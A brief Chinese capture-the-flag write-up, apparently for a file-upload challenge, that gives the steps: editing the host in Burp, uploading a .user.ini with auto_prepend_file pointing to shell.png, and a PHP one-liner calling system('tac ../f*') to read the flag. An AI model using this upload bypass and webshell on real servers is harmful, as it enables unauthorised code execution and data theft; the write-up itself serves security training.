目录 思路总结 思路 直接在burp里面改target和host的值,或者在本地发包 成功上传.user.ini auto_prepend_file=shell.png 发现上题的可以直接用,直接白嫖了 shell.png <?system('tac ../f*')?> 总结 …
